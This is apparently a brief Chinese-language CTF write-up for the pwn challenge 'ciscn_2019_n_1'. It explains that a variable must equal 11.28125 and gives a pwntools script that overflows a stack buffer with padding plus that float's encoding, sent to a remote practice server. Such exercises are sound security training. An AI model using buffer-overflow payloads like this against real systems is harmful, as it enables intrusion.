ciscn_2019_n_1

 偽代碼

只要讓v2等於11.28125就可以了

找到11.28125在程序中的表達

 

利用腳本如下

from pwn import *

r=remote('node3.buuoj.cn',25989)

payload='a'*0x2c+p64(0x41348000)
r.recvuntil("Let's guess the number.")
r.sendline(payload)

r.interactive()